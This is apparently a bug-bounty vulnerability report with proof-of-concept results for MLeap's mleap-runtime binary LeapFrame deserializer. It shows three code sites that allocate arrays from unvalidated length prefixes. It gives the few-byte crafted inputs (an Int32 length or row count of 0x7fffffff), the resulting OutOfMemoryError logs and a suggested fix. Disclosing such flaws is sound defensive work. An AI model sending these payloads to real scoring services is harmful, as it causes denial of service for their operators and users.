EnigmaConsultant/huntr-poc-mleap-binary-oom-lenprefix

MLeap mleap-runtime "binary" LeapFrame deserializer: unbounded allocation from unvalidated length prefixes → real OutOfMemoryError

CWE-789 (Uncontrolled Memory Allocation) / CWE-400 (Uncontrolled Resource Consumption)

Target

• Project: combust/mleap
• Module: mleap-runtime (Scala/JVM), package ml.combust.mleap.binary
• Artifact verified: ml.combust.mleap:mleap-runtime_2.13:0.24.0 (downloaded from Maven Central)
  • sha256: cabd5bac0fc8bbc2d051001f5bf91ed4a587b5d59ebd8a01a427d807bb0a4c0c
• Public entry point: FrameReader("ml.combust.mleap.binary").fromBytes(bytes) — documented in the official combust/mleap-docs "Storing a Leap Frame" → Binary section. Used by any application that deserializes MLeap's binary-format LeapFrame data, e.g. mleap-serving and similar model-scoring services that accept externally supplied LeapFrame payloads.

Dedup note

This is a distinct vulnerable component from two other MLeap findings already in this account's huntr pipeline — it is not a re-file of either:

• EnigmaConsultant/huntr-poc-mleap-arrayserializer-oom — targets bundle-ml's tensor.ArraySerializer (a different module/package entirely).
• EnigmaConsultant/mleap-treeserializer-recursion-dos-poc — targets the tree/cluster recursive node serializers (stack-exhaustion via recursion depth, not a length-prefix allocation bug).

This report covers three separate unbounded-allocation sites inside mleap-runtime's own ml.combust.mleap.binary package (ValueSerializer.ListSerializer, ValueSerializer.TensorSerializer, and DefaultFrameReader.fromBytes), which share the same root-cause pattern but live in code paths none of the prior filings touch. No CVE currently exists for this issue as far as could be determined at the time of writing.

Root cause

Three separate spots in ml.combust.mleap.binary read a raw, attacker-controlled 32-bit length/count prefix directly off the wire and immediately preallocate an array of that size before validating that enough remaining data actually exists in the input. The only failure mode is the JVM's own allocator throwing after the fact (or, on some heap configurations, this manifesting as GC thrashing rather than a hard error).

1. ValueSerializer.ListSerializer.read()

val length = in.readInt()
val arr = new Array[T](length)

2. ValueSerializer.TensorSerializer.read() (dense branch)

size = in.readInt()
val values = new Array[T](size)

and again in the sparse-tensor indices branch:

size = in.readInt()
val indices = new Array[Seq[Int]](size)

3. DefaultFrameReader.fromBytes() (top-level row-count preallocation)

val rowCount = din.readInt()
val rows = mutable.WrappedArray.make[Row](new Array[Row](rowCount))

A handful of crafted bytes — e.g. a 4-byte 0x7fffffff length/rowCount field — is enough to force an immediate ~2 GB+ (or, for 8-byte element types, ~17 GB) array-allocation attempt, completely independent of how much real payload data actually follows in the stream. No size cap, no comparison against remaining-bytes-available, and no streaming/incremental read is performed before the allocation.

PoC

A Scala test harness (BinaryOomTest.scala) was compiled and run against the real, unmodified, published ml.combust.mleap:mleap-runtime_2.13:0.24.0 jar (downloaded from Maven Central via proxy), plus its real mleap-core, mleap-tensor, mleap-base, bundle-ml, scala-library, and spray-json dependencies, run under OpenJDK 25 with -Xmx512m.

The harness calls the real public classes directly — nothing was patched, stubbed, or reimplemented:

• ValueSerializer.serializerForDataType(ListType(BasicType.Double, isNullable = false)).read(...)
• ValueSerializer.serializerForDataType(TensorType(BasicType.Double, ..., isNullable = false)).read(...)
• new ml.combust.mleap.binary.DefaultFrameReader().fromBytes(bytes) (the actual top-level public API)

Each malicious case supplies a tiny (4–8 byte, or ~93-byte for the full-frame case) crafted input whose only "attack" is an Int32 length/rowCount field set to Int.MaxValue (0x7fffffff), paired with a matching benign control (a well-formed small list/tensor/frame) to prove the crash is specific to the crafted length field and not a harness artifact.

Captured evidence (verbatim)

=== Test 1: real ml.combust.mleap.binary.ValueSerializer's ListSerializer(DoubleSerializer).read() ===
Input file bytes (hex): 7f ff ff ff
Test1 ListSerializer[Double] malicious 4-byte input: THREW: java.lang.OutOfMemoryError: Requested array size exceeds VM limit elapsed_ms=1.915389

=== Test 2 (control): same ListSerializer[Double] on a BENIGN well-formed input (length=3, 3 doubles) ===
Test2 ListSerializer[Double] benign input: NO CRASH. Returned: ArraySeq(1.0, 2.0, 3.0) elapsed_ms=3.103418

=== Test 3: real ml.combust.mleap.binary.ValueSerializer's TensorSerializer(DoubleSerializer).read() (DENSE tensor) ===
Input file bytes (hex): 00 00 00 00 7f ff ff ff  (8 bytes total)
Test3 TensorSerializer[Double] malicious input: THREW: java.lang.OutOfMemoryError: Requested array size exceeds VM limit elapsed_ms=5.527205

=== Test 4 (control): same TensorSerializer[Double] on BENIGN well-formed input (dense, 2 values) ===
Test4 TensorSerializer[Double] benign input: NO CRASH. Returned: DenseTensor([D@51081592,Vector(2)) elapsed_ms=1.783114

=== Test 5: real ml.combust.mleap.binary.DefaultFrameReader().fromBytes() top-level rowCount preallocation ===
Input file bytes: 93 total (schema=85 bytes + 4-byte rowCount=0x7fffffff)
Test5 DefaultFrameReader.fromBytes malicious rowCount: THREW: java.lang.OutOfMemoryError: Requested array size exceeds VM limit elapsed_ms=53.719781

=== Test 6 (control): same DefaultFrameReader.fromBytes(), same schema, BENIGN rowCount=2 with real row data ===
Test6 DefaultFrameReader.fromBytes benign rowCount=2: NO CRASH. Returned: DefaultLeapFrame(StructType(List(StructField(x,ScalarType(boolean,false))),...),List(Row(true), Row(false))) elapsed_ms=5.102311

Impact

Any service that deserializes MLeap binary-format LeapFrame data supplied by an untrusted or semi-trusted caller (e.g. a model-scoring endpoint accepting LeapFrame payloads over the network) can be forced into an OutOfMemoryError / crash / degraded-service state with a payload of a few bytes to under 100 bytes, at negligible attacker cost and bandwidth. This is a straightforward denial-of-service vector against any MLeap-based binary deserialization path that does not wrap the call in additional size-limiting logic of its own.

Suggested fix

Before allocating new Array[T](length) (or the WrappedArray/row-count equivalent), validate length against a configured maximum and/or against the number of bytes actually remaining in the input stream, and fail fast with a clear deserialization error instead of attempting the allocation.

Status

Independently verified via actual execution against the real, currently-released, unmodified target artifact (not static code reading or a plausible theory). Negative controls included for all three call sites.